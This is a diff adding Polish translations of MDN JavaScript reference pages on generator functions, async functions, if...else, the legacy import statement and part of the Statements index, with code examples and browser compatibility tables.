+<p>Generatory są specyficznym rodzajem funkcji, która może być zatrzymywana i wznawiana. Pomiędzy kolejnymi wznowieniami zachowany jest kontekst (variable bindings).</p>
+
+<p>Wywołanie funkcji generatora nie wykonuje poleceń w niej zawartych od razu; Zamiast tego, zwracany jest obiekt <a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#iterator">iteratora</a>. Dopiero kiedy na iteratorze wywoływana jest metoda <code>next()</code> wykonywane jest ciało funkcji, do momentu wystąpienia pierwszego wyrażenia {{jsxref("Operators/yield", "yield")}}. {{jsxref("Operators/yield", "yield")}} Określa jaka wartość zostanie zwrócona z generatora lub, jeśli użyto {{jsxref("Operators/yield*", "yield*")}}, wskazuje na kolejny do wywołania generator. Metoda <code>next()</code> zwraca obiekt z właściwością <code>value</code> zawierającą zwróconą przez {{jsxref("Operators/yield", "yield")}} wartość oraz właściowść <code>done</code> , która wskazuje czy generator zwórcił już wartość ostatniego {{jsxref("Operators/yield", "yield")}}. Wywołanie metody <code>next()</code> z argumentem, będzie wznawiało wykonywanie generatora za miejscem gdzie występował {{jsxref("Operators/yield", "yield")}} wstrzymujący generator.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Prosty_przykład">Prosty przykład</h3>
+
+<pre class="brush: js">function* idMaker() {
+ var index = 0;
+ while (index &lt; 3)
+ yield index++;
+}
+
+var gen = idMaker();
+
+console.log(gen.next().value); // 0
+console.log(gen.next().value); // 1
+console.log(gen.next().value); // 2
+console.log(gen.next().value); // undefined
+// ...</pre>
+
+<h3 id="Przykład_z_yield*">Przykład z yield*</h3>
+
+<pre class="brush: js">function* anotherGenerator(i) {
+ yield i + 1;
+ yield i + 2;
+ yield i + 3;
+}
+
+function* generator(i) {
+ yield i;
+ yield* anotherGenerator(i);
+ yield i + 10;
+}
+
+var gen = generator(10);
+
+console.log(gen.next().value); // 10
+console.log(gen.next().value); // 11
+console.log(gen.next().value); // 12
+console.log(gen.next().value); // 13
+console.log(gen.next().value); // 20
+</pre>
+
+<h3 id="Przekazywanie_parametrów_do_generatora">Przekazywanie parametrów do generatora</h3>
+
+<pre class="brush: js">function* logGenerator() {
+ console.log(yield);
+ console.log(yield);
+ console.log(yield);
+}
+
+var gen = logGenerator();
+
+// the first call of next executes from the start of the function
+// until the first yield statement
+gen.next();
+gen.next('pretzel'); // pretzel
+gen.next('california'); // california
+gen.next('mayonnaise'); // mayonnaise
+</pre>
+
+<h3 id="Wyrażenie_return_wewnątrz_generatora">Wyrażenie return wewnątrz generatora</h3>
+
+<pre class="brush: js">function* yieldAndReturn() {
+ yield "Y";
+ return "R";
+ yield "unreachable";
+}
+
+var gen = yieldAndReturn()
+console.log(gen.next()); // { value: "Y", done: false }
+console.log(gen.next()); // { value: "R", done: true }
+console.log(gen.next()); // { value: undefined, done: true }</pre>
+
+<h3 id="Generator_nie_jest_typowym_konstruktorem">Generator nie jest typowym konstruktorem</h3>
+
+<pre class="brush: js example-bad">function* f() {}
+var obj = new f; // throws "TypeError: f is not a constructor"</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ES2015', '#', 'function*')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2016', '#', 'function*')}}</td>
+ <td>{{Spec2('ES2016')}}</td>
+ <td>Changed that generators should not have [[Construct]] trap and will throw when used with <code>new</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#', 'function*')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th> Edge</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(39.0)}}</td>
+ <td>{{CompatGeckoDesktop("26.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>13</td>
+ <td>26</td>
+ <td>{{CompatSafari("10")}}</td>
+ </tr>
+ <tr>
+ <td><code>yield*</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("27.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>13</td>
+ <td>26</td>
+ <td>{{CompatSafari("10")}}</td>
+ </tr>
+ <tr>
+ <td><code>IteratorResult</code> object instead of throwing</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("29.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>13</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Not constructable with <code>new</code> as per ES2016</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("43.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Trailing comma in parameters</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("52.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("26.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatSafari("10")}}</td>
+ <td>{{CompatChrome(39.0)}}</td>
+ </tr>
+ <tr>
+ <td><code>yield*</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("27.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatSafari("10")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>IteratorResult</code> object instead of throwing</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("29.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Not constructable with <code>new</code> as per ES2016</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("43.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Trailing comma in parameters</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("52.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Firefox-specific_notes">Firefox-specific notes</h2>
+
+<h4 id="Generatory_i_iteratory_w_Firefox_przed_wersją_26">Generatory i iteratory w Firefox przed wersją 26</h4>
+
+<p>Starsze wersje Firefox implementują nieco inną, bardziej archaiczną propozycje specyfikacji. W starszych wersjach definiowanie generatorów odbywało się za pomocą wyłącznie słowa kluczowego <code>function</code> (bez dodatkowej gwiazdki). Tą i wiele innych drobnych różnic można sprawdzić na <a href="/en-US/docs/Web/JavaScript/Reference/Statements/Legacy_generator_function">Legacy generator function</a>.</p>
+
+<h4 id="IteratorResult_zwraca_obiekt_zamiast_rzucać_wyjątek"><code>IteratorResult</code> zwraca obiekt zamiast rzucać wyjątek</h4>
+
+<p>Począwszy od silnika Gecko 29 {{geckoRelease(29)}}, zakończony generator nie rzuca już więcej wyjątkami {{jsxref("TypeError")}} "generator has already finished". W zamian za to zwraca obiekt <code>IteratorResult</code> w postaci <code>{ value: undefined, done: true }</code> ({{bug(958951)}}).</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("GeneratorFunction")}} object</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
+ <li>{{jsxref("Operators/yield", "yield")}}</li>
+ <li>{{jsxref("Operators/yield*", "yield*")}}</li>
+ <li>{{jsxref("Function")}} object</li>
+ <li>{{jsxref("Statements/function", "function declaration")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Functions_and_function_scope", "Functions and function scope")}}</li>
+ <li>Other web resources:
+ <ul>
+ <li><a href="http://facebook.github.io/regenerator/">Regenerator</a> an ES2015 generator compiler to ES5</li>
+ <li><a href="http://www.youtube.com/watch?v=qbKWsbJ76-s">Forbes Lindesay: Promises and Generators: control flow utopia -- JSConf EU 2013</a></li>
+ <li><a href="https://www.youtube.com/watch?v=ZrgEZykBHVo&amp;list=PLuoyIZT5fPlG44bPq50Wgh0INxykdrYX7&amp;index=1">Hemanth.HM: The New gen of *gen(){}</a></li>
+ <li><a href="http://taskjs.org/">Task.js</a></li>
+ </ul>
+ </li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/polecenia/funkcja_async/index.html b/files/pl/web/javascript/referencje/polecenia/funkcja_async/index.html
new file mode 100644
index 0000000000..95b488405e
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/funkcja_async/index.html
@@ -0,0 +1,264 @@
+---
+title: funkcja async
+slug: Web/JavaScript/Referencje/Polecenia/funkcja_async
+translation_of: Web/JavaScript/Reference/Statements/async_function
+---
+<div>
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><span class="seoSummary">Deklaracja funkcji <code><strong>async</strong></code> definiuje <strong>funkcję asynchroniczną</strong>, która zwraca obiekt  {{jsxref("Global_Objects/AsyncFunction","AsyncFunction")}}.</span> Funkcja asynchroniczna to funkcja, która działa asynchroniczne poprzez zdarzenie pętli używając bezwarunkowego {{jsxref("Promise")}} do zwrócenia wyniku. Składnia i struktura kodu używanego przy funkcjach asynchronicznych jest jednakże bardziej podobna do znanych ze standardowych funkcji synchronicznych.</p>
+
+<div class="noinclude">
+<p>Możesz zdefiniować funkcje asynchroniczne również poprzez użycie {{jsxref("Operators/async_function", "async function expression", "", 1)}}.</p>
+</div>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-async.html", "taller")}}</div>
+
+<p class="hidden">Źródło niniejszego interaktywnego demo znajduje się na repozytorium GitHuba. Jeśli chcesz mieć wkład w ten interaktywny projekt demo po prostu sklonuj <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> i wyślij nam żądanie pull.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">async function <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+ <em>statements</em>
+}
+</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Nazwa funkcji.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>Nazwa argumentu, który zostanie podany do funkcji.</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd>Wyrażenia stanowiące ciało funkcji.</dd>
+</dl>
+
+<h3 id="Wartość_zwrotna_return">Wartość zwrotna (return)</h3>
+
+<p><code><a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code>, które zostanie rozwiązane z wartością zwróconą przez funkcję asynchroniczną lub odrzucone z nieprzechwyconym wyjątkiem wyrzuconym z funkcji asynchronicznej.</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Funkcja <code>async</code> może zawierać wyrażenie {{jsxref("Operators/await", "await")}}, które wstrzymuje wywołanie funkcji asynchronicznej i czeka na przekazaną deklarację <code>Promise</code>i wtedy wznawia wywołanie funkcji <code>async</code> oraz interpretuje jako wartość rozwiązaną.<br>
+ <br>
+ Pamiętaj, że polecenie <code>await</code> działa wyłącznie wewnątrz funkcji <code>async</code>. Jeśli użyjesz go poza ciałem funkcji <code>async</code> otrzymasz <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a></code>.</p>
+
+<p>Zauważ, że kiedy funkcja <code>async</code> jest wstrzymana, funkcja wywołująca kontynuuje działanie (otrzymując domyślny Promise zwracany przez funkcję <code>async</code>).</p>
+
+<div class="note">
+<p>Celem funkcji <code>async</code>/<code>await</code> jest uproszczenie działania używając obietnic (promises) synchronicznie oraz by wykonać pewne działania w grupie <code>Promises</code>. Tak, jak <code>Promises</code> są podobne do strukturalnych callbacków, tak <code>async</code>/<code>await</code> jest podobne do kombinacji generatorów i obietnic.</p>
+</div>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Prosty_przykład">Prosty przykład</h3>
+
+<pre class="brush: js">var resolveAfter2Seconds = function() {
+  console.log("starting slow promise");
+  return new Promise(resolve =&gt; {
+    setTimeout(function() {
+      resolve("slow");
+      console.log("wolna obietnica została wykonana");
+    }, 2000);
+  });
+};
+
+var resolveAfter1Second = function() {
+  console.log("starting fast promise");
+  return new Promise(resolve =&gt; {
+    setTimeout(function() {
+      resolve("fast");
+      console.log("szybka obietnica została wykonana");
+    }, 1000);
+  });
+};
+
+var sequentialStart = async function() {
+  console.log('==START SEKWENCYJNY==');
+
+  // 1. Niemalże natychmiast dochodzi do wywołania
+  const slow = await resolveAfter2Seconds();
+  console.log(slow); // 2. to zostaje wywołanie 2s po 1.
+
+  const fast = await resolveAfter1Second();
+  console.log(fast); // 3. to zostaje wykonane 3s po 1.
+}
+
+var concurrentStart = async function() {
+  console.log('==RÓWNOCZESNY START z await==');
+  const slow = resolveAfter2Seconds(); // licznik startuje od razu
+  const fast = resolveAfter1Second(); // licznik startuje od razu
+
+  // 1. Niemalże natychmiast dochodzi do wywołania
+  console.log(await slow); // 2. jest wywołane 2s po 1.
+  console.log(await fast); // 3. jest wywołane 2s po 1., natychmiast po 2., podczas gdy szybka jest już wykonana
+}
+
+var concurrentPromise = function() {
+  console.log('==RÓWNOCZESNY START z Promise.all==');
+  return Promise.all([resolveAfter2Seconds(), resolveAfter1Second()]).then((messages) =&gt; {
+    console.log(messages[0]); // wolne
+    console.log(messages[1]); // szybkie
+  });
+}
+
+var parallel = async function() {
+  console.log('==RÓWNOLEGLE z await Promise.all==');
+
+  // Równolegle startują dwa zadania i czekamy na zakończenie działania obu
+  await Promise.all([
+      (async()=&gt;console.log(await resolveAfter2Seconds()))(),
+      (async()=&gt;console.log(await resolveAfter1Second()))()
+  ]);
+}
+
+// This function does not handle errors. See warning below!
+var parallelPromise = function() {
+  console.log('==PARALLEL with Promise.then==');
+  resolveAfter2Seconds().then((message)=&gt;console.log(message));
+  resolveAfter1Second().then((message)=&gt;console.log(message));
+}
+
+sequentialStart(); // after 2 seconds, logs "slow", then after 1 more second, "fast"
+
+// wait above to finish
+setTimeout(concurrentStart, 4000); // after 2 seconds, logs "slow" and then "fast"
+
+// wait again
+setTimeout(concurrentPromise, 7000); // same as concurrentStart
+
+// wait again
+setTimeout(parallel, 10000); // truly parallel: after 1 second, logs "fast", then after 1 more second, "slow"
+
+// wait again
+setTimeout(parallelPromise, 13000); // same as parallel
+</pre>
+
+<div class="note">
+<h4 id="await_and_parallelism"><code>await</code> and parallelism</h4>
+
+<p>In <code>sequentialStart</code>, execution suspends 2 seconds for the first <code>await</code>, and then again another 1 second for the second <code>await</code>. The second timer is not created until the first has already fired. The code finishes after 3 seconds.</p>
+
+<p>In <code>concurrentStart</code>, both timers are created and then <code>await</code>ed. The timers are running concurrently, which means the code finishes in 2 rather than 3 seconds, i.e. the slowest timer.<br>
+ However the <code>await</code> calls are still running in series, which means the second <code>await</code> will wait for the first one to finish. In this case, this leads to the processing of the result of the fastest timer to be performed after the slowest.</p>
+
+<p>If you wish to fully perform two or more jobs in parallel, you must use <code>await Promise.all([job1(), job2()])</code> as shown in the <code>parallel</code> example.</p>
+</div>
+
+<div class="warning">
+<h4 id="asyncawait_vs_Promisethen_and_error_handling"><code>async</code>/<code>await</code> vs Promise#then and error handling</h4>
+
+<p>Most async functions can also be written as regular functions using Promises. However <code>async</code> functions are a little bit less error-prone when it comes to error handling.</p>
+
+<p>Both <code>concurrentStart</code> and <code>concurrentPromise</code> are functionally equivalent.<br>
+ In <code>concurrentStart</code>, if either of the <code>await</code>ed calls fail, the exception will be automatically caught, the async function execution interrupted, and the Error propagated to the caller through the implicit return Promise.<br>
+ For the same to happen in the Promise case, the function must take care of returning a <code>Promise</code> which captures the completion of the function. In <code>concurrentPromise</code> that means <code>return</code>ing the promise from <code>Promise.all([]).then()</code>. As a matter of fact, a previous version of this example forgot to do this!</p>
+
+<p>It is however still possible for <code>async</code> functions to mistakenly swallow errors.<br>
+ Take for example the <code>parallel</code> async function. If it didn't <code>await</code> (or <code>return</code>) the result of the <code>Promise.all([])</code> call, any Error would not have been propagated.<br>
+ While the <code>parallelPromise</code> example seem simple, it does not handle errors at all! Doing so would require a similar <code>return </code><code>Promise.all([])</code>.</p>
+</div>
+
+<h3 id="Rewriting_a_promise_chain_with_an_async_function">Rewriting a promise chain with an <code>async</code> function</h3>
+
+<p>An API that returns a {{jsxref("Promise")}} will result in a promise chain, and it splits the function into many parts. Consider the following code:</p>
+
+<pre class="brush: js">function getProcessedData(url) {
+ return downloadData(url) // returns a promise
+ .catch(e =&gt; {
+ return downloadFallbackData(url); // returns a promise
+ })
+ .then(v =&gt; {
+ return processDataInWorker(v); // returns a promise
+ });
+}
+</pre>
+
+<p>it can be rewritten with a single <code>async</code> function as follows:</p>
+
+<pre class="brush: js">async function getProcessedData(url) {
+ let v;
+ try {
+ v = await downloadData(url);
+ } catch(e) {
+ v = await downloadFallbackData(url);
+ }
+ return processDataInWorker(v);
+}
+</pre>
+
+<p>Note that in the above example, there is no <code>await</code> statement on the <code>return</code> statement, because the return value of an <code>async function</code> is implicitly wrapped in {{jsxref("Promise.resolve")}}.</p>
+
+<div class="blockIndicator note">
+<h4 id="return_await_promiseValue_vs._return_promiseValue"><code>return await promiseValue;</code> vs. <code>return promiseValue;</code></h4>
+
+<p>The implicit wrapping of return values in {{jsxref("Promise.resolve")}} does not imply that <code>return await promiseValue;</code> is functionally equivalent to <code>return promiseValue;</code></p>
+
+<p>Consider the following rewrite of the above code that returns null if <code>processDataInWorker</code> were to reject with an error:</p>
+
+<pre class="brush: js">async function getProcessedData(url) {
+ let v;
+ try {
+ v = await downloadData(url);
+ } catch(e) {
+ v = await downloadFallbackData(url);
+ }
+ try {
+ return await processDataInWorker(v); // Note the `return await` vs. just `return`
+ } catch (e) {
+ return null;
+ }
+}
+</pre>
+
+<p>Having simply written <code>return processDataInWorker(v);</code> would have caused the {{jsxref("Promise")}} returned by the function to reject instead of resolving to <code>null</code> in the case where <code>processDataInWorker(v)</code> rejects. This highlights the subtle difference between <code>return foo;</code> and <code>return await foo;</code> which is that <code>return foo;</code> will immediately return <code>foo</code> and never throw even if <code>foo</code> is a promise and rejects whereas <code>return await foo;</code> will wait for <code>foo</code> to resolve or reject if it's a promise and will throw <strong>before returning</strong> if it rejects.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>Initial definition in ES2017.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES8', '#sec-async-function-definitions', 'async function')}}</td>
+ <td>{{Spec2('ES8')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.statements.async_function")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Operators/async_function", "async function expression")}}</li>
+ <li>{{jsxref("AsyncFunction")}} object</li>
+ <li>{{jsxref("Operators/await", "await")}}</li>
+ <li><a href="http://innolitics.com/10x/javascript-decorators-for-promise-returning-functions/">"Decorating Async Javascript Functions" on "innolitics.com"</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/polecenia/if...else/index.html b/files/pl/web/javascript/referencje/polecenia/if...else/index.html
new file mode 100644
index 0000000000..38dd3c8f8a
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/if...else/index.html
@@ -0,0 +1,65 @@
+---
+title: if...else
+slug: Web/JavaScript/Referencje/Polecenia/if...else
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Statements/if...else
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Wykonuje blok poleceń, jeśli dany warunek jest spełniony. Jeśli warunek nie jest spełniony, może zostać wykonany inny blok poleceń.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<td class="header" colspan="2">Polecenie</td>
+</tr>
+<tr>
+<td>Zaimplementowane w:</td>
+<td>JavaScript 1.0, NES 2.0</td>
+</tr>
+<tr>
+<td>Wersja ECMA:</td>
+<td>ECMA-262</td>
+</tr>
+</tbody></table>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">if (warunek) {
+ <i>polecenia1</i>
+}
+[else {
+ <i>polecenia2</i>
+}]
+</pre>
+<h3 id="Parametry" name="Parametry"> Parametry </h3>
+<dl><dt> <code>warunek</code> </dt><dd> może być dowolnym wyrażeniem JavaScriptu przyjmującym wartości logiczne (true, false) lub mogącym być na wartości logiczne przekonwertowane. Warunek musi być ujęty w nawiasach. Jeśli warunek jest spełniony (ma wartość true), wykonywane są polecenia w bloku <code>polecenia1</code>.
+</dd></dl>
+<dl><dt> <code>polecenia1</code>, <code>polecenia2</code> </dt><dd> mogą być dowolnymi poleceniami JavaScriptu, w tym zagnieżdżonymi poleceniami <code>if...else</code>. Bloki wielu poleceń muszą być ujęte w nawiasy klamrowe.
+</dd></dl>
+<h3 id="Opis" name="Opis"> Opis </h3>
+<p>Nie powinno się używać prostych operatorów przypisania w wyrażeniu warunkowym. Przykładowo, nie należy używać kodu podobnego do poniższego:
+</p>
+<pre>if(x = y)
+{
+ /* zrób coś */
+}
+</pre>
+<p>Jeśli potrzebujesz użyć przypisania w wyrażeniu warunkowym, użyj dodatkowej pary nawiasów. Na przykład: <code>if( (x = y) )</code>.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<h4 id="Przyk.C5.82ad:_Zastosowanie_if...else" name="Przyk.C5.82ad:_Zastosowanie_if...else"> Przykład: Zastosowanie <code>if...else</code> </h4>
+<pre>if (cipher_char == from_char) {
+ result = result + to_char
+ x++}
+else
+ result = result + clear_char
+</pre>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/if...else", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/if...else", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/if...else", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/if...else" } ) }}
diff --git a/files/pl/web/javascript/referencje/polecenia/import/index.html b/files/pl/web/javascript/referencje/polecenia/import/index.html
new file mode 100644
index 0000000000..406050c420
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/import/index.html
@@ -0,0 +1,55 @@
+---
+title: import
+slug: Web/JavaScript/Referencje/Polecenia/import
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Statements/import
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Pozwala zaimportować własności, funkcje i obiekty z podpisanego skryptu, który wyeksportował informację.
+</p><p>Tej cechy nie ma w 3 edycji ECMA 262.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<td class="header" colspan="2">Instrukcja</td>
+</tr>
+<tr>
+<td>Zaimplementowane w:</td>
+<td>JavaScript 1.2, NES 3.0</td>
+</tr>
+</tbody></table>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<p><code>
+import <i>objectName</i>.<i>name1</i>, <i>objectName</i>.<i>name2</i>, ..., <i>objectName</i>.<i>nameN</i>;
+</code>
+</p><p><code>
+import <i>objectName</i>.<i>*</i>;
+</code>
+</p>
+<h3 id="Parametry" name="Parametry"> Parametry </h3>
+<dl><dt> <code>objectName</code> </dt><dd> Nazwa obiektu, który przyjmie zaimportowane nazwy.
+</dd></dl>
+<dl><dt> <code>nameN</code> </dt><dd> Własność, funkcja lub obiekt do zaimportowania.
+</dd></dl>
+<h3 id="Opis" name="Opis"> Opis </h3>
+<p>Parametr <code>objectName</code> jest nazwą obiektu, który przyjmie zaimportowane nazwy. Na przykład jeśli <code>f</code> i <code>p</code> zostały wyeksportowane i <code>obj</code> jest obiektem z importującego skryptu, to poniższy kod zrobi <code>f</code> i <code>p</code> dostępnymi jako własności <code>obj</code> wewnątrz skryptu importującego.
+</p>
+<pre class="eval">import obj.f, obj.p;
+</pre>
+<p>Pierwsza składnia importuje określone własności, funkcje i obiekty z wyeksportowanego skryptu.
+</p><p>Druga składnia importuje wszystkie własności, funkcje i obiekty z wyeksportowanego skryptu.
+</p><p>Zazwyczaj informacja w podpisanym skrypcie jest dostępna tylko dla skryptów podpisanych przez tych samych wykonawców. Poprzez wyeksportowanie (używając instrukcji <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/export">export</a></code>) własności, funkcji i obiektów podpisany skrypt robi tę informację dostępną dla każdego skryptu (podpisanego lub niepodpisanego). Skrypt otrzymujący używa instrukcji <code>import</code>, by uzyskać dostęp do tej informacji.
+</p><p>Skrypt musi załadować skrypt eksportowy do okna, ramki lub warstwy zanim będzie on mógł zaimportować i użyć którejkolwiek z wyeksportowanych własności, funkcji lub obiektów.
+</p>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/export">export</a></code>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/import", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/import", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/import" } ) }}
diff --git a/files/pl/web/javascript/referencje/polecenia/index.html b/files/pl/web/javascript/referencje/polecenia/index.html
new file mode 100644
index 0000000000..b6f58b783c
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/index.html
@@ -0,0 +1,149 @@
+---
+title: Polecenia
+slug: Web/JavaScript/Referencje/Polecenia
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Statements
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>JavaScript applications consist of statements with an appropriate syntax. A single statement may span multiple lines. Multiple statements may occur on a single line if each statement is separated by a semicolon. This isn't a keyword, but a group of keywords.</p>
+
+<h2 id="Statements_and_declarations_by_category">Statements and declarations by category</h2>
+
+<p>For an alphabetical listing see the sidebar on the left.</p>
+
+<h3 id="Control_flow">Control flow</h3>
+
+<dl>
+ <dt>{{jsxref("Statements/block", "Block")}}</dt>
+ <dd>A block statement is used to group zero or more statements. The block is delimited by a pair of curly brackets.</dd>
+ <dt>{{jsxref("Statements/break", "break")}}</dt>
+ <dd>Terminates the current loop, switch, or label statement and transfers program control to the statement following the terminated statement.</dd>
+ <dt>{{jsxref("Statements/continue", "continue")}}</dt>
+ <dd>Terminates execution of the statements in the current iteration of the current or labeled loop, and continues execution of the loop with the next iteration.</dd>
+ <dt>{{jsxref("Statements/Empty", "Empty")}}</dt>
+ <dd>An empty statement is used to provide no statement, although the JavaScript syntax would expect one.</dd>
+ <dt>{{jsxref("Statements/if...else", "if...else")}}</dt>
+ <dd>Executes a statement if a specified condition is true. If the condition is false, another statement can be executed.</dd>
+ <dt>{{jsxref("Statements/switch", "switch")}}</dt>
